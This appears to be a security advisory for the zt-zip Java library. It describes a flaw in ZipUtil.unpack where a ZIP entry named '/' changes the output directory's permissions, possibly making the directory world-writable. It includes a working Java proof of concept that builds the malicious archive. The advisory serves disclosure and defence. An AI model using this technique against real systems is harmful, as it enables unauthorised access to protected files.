Threats tagged 'ghsa-v2g6-7r9j-v6px'

### Summary When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user. ### Details When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it. ### PoC This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case. ```java // Uses Apache Commons Compress to create the malicious ZIP file // The issue itself is however in how zt-zip processes that ZIP file import org.apache.commons.compress.archivers.zip.AsiExtraField; import org.apache.commons.compress.archivers.zip.ZipArchiveEntry; import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream; import org.apache.commons.compress.archivers.zip.ZipExtraField; import org.zeroturnaround.zip.ZipUtil; import java.nio.file.Files; import java.nio.file.Path; import java.util.Set; public class ZtZipTest { public static void main(String[] args) throws Exception { Path zipPath = Path.of("permissions-change.zip"); Path outputDir = Path.of("permissions-change"); Files.deleteIfExists(outputDir); Files.createDirectory(outputDir); Files.setPosixFilePermissions(outputDir, Set.of()); // outputs "[]" System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir)); createZip(zipPath); ZipUtil.unpack(zipPath.toFile(), outputDir.toFile()); // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]" System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir)); } public static void createZip(Path path) throws Exception { try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) { var entry = new ZipArchiveEntry("/"); // Set 'allow all' permissions entry.setUnixMode(0b1_1111_1111); AsiExtraField extraField = new AsiExtraField(); // Set 'allow all' permissions extraField.setMode(0b1_1111_1111); entry.setExtraFields(new ZipExtraField[] { extraField }); zipStream.putArchiveEntry(entry); zipStream.closeArchiveEntry(); } } } ``` ### Impact Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.